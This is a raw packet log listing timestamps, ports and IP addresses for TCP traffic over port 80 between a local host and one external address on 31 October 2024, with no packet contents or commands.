Oct 31, 2024 05:07:10.230473042 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230474949 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230485916 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230494022 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230499983 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230540991 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230540991 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230570078 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230592966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230606079 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230616093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230627060 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230638027 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230639935 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230652094 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230655909 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230664015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230676889 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230691910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230698109 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230720043 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230748892 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230967999 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230979919 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230990887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231039047 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231050968 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231064081 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231067896 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231076002 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231105089 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231131077 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231148005 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231168032 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231179953 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231198072 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231203079 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231210947 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231230021 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231261015 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231435061 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231447935 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231460094 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231472015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231483936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231498957 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231532097 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231532097 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231571913 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231606960 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231636047 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231642008 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231657028 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231700897 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231821060 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231833935 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231849909 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231863022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231873989 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231883049 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231884956 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231904984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231909037 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231918097 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231930017 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231935024 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231945992 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231959105 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.231959105 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231976986 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.231983900 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232021093 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.232042074 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.232043028 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232055902 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232067108 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232084990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232095957 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232095957 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.232108116 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232120037 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.232120991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232136011 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232141972 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.232158899 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.232178926 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.232211113 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232223988 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232239008 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232244015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232266903 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.232278109 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232287884 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.232290983 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232327938 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.232350111 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.232552052 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232564926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232575893 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232588053 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.232620955 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.232645988 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.348630905 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348649979 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348660946 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348768950 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.348826885 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348848104 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348861933 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348872900 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348880053 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.348886967 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348898888 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348908901 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348910093 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.348922014 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348937988 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348956108 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348956108 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.348969936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348980904 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.348993063 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349004030 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349005938 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349005938 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349016905 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349030972 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349034071 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349045038 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349056959 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349067926 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349069118 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349081039 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349087954 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349107981 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349131107 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349204063 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349215984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349227905 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349244118 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349251986 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349256992 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349268913 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349278927 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349280119 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349291086 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349329948 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349329948 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349370003 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349386930 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349406004 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349416971 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349430084 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349438906 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349457979 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349461079 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349473000 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349478006 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349486113 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349508047 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349510908 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349525928 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349559069 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349559069 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349570990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349622011 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349627018 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349639893 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349649906 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349662066 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349675894 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349679947 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349687099 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349699974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349700928 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349711895 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349720001 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349724054 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349754095 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349785089 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349792004 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349803925 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349816084 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349828005 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349847078 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349879980 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349879980 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349881887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349894047 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349936962 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.349968910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349982023 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.349992990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.350004911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.350017071 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.350032091 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.350054979 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.350056887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.350075006 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.350086927 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.350097895 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.350110054 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.350117922 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.350179911 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.350193977 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.350205898 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.350215912 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.350227118 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.350251913 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.350281000 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.466821909 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.466840029 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.466854095 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.466866970 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.466895103 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.466908932 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.466916084 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.466919899 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.466933966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.466953993 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.466974020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.466974974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.466994047 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467017889 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467138052 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467149019 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467159986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467170954 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467183113 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467194080 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467205048 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467205048 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467226982 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467236996 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467242002 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467261076 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467288971 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467293978 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467360020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467400074 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467411041 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467449903 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467463970 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467467070 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467479944 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467490911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467495918 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467503071 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467515945 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467518091 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467559099 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467585087 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467597008 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467607975 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467638969 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467664957 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467675924 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467680931 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467686892 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467700958 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467706919 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467736006 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467741966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467756033 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467767000 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467770100 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467778921 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467791080 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467807055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467813015 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467813969 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467820883 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467833996 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467855930 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467868090 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467866898 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467866898 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467879057 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467891932 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467896938 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467920065 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467931986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467936039 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467936039 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467942953 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467962027 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467962980 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467984915 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.467983961 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.467997074 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468008995 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468030930 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.468077898 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.468079090 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468092918 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468103886 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468111038 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468143940 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.468152046 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468163967 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468167067 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.468177080 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468209028 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.468235016 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.468264103 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468274117 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468283892 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468312979 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.468338966 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.468378067 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468394995 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468400955 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468404055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468471050 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468477011 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.468482018 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.468559027 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.584969997 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.584989071 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585009098 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585020065 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585031986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585046053 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585061073 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585076094 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585089922 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585102081 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585136890 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585150957 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585164070 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585231066 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585242987 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585246086 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585263014 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585275888 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585288048 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585300922 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585328102 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585355043 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585355043 CET	49803	80	192.168.2.4	185.215.113.16
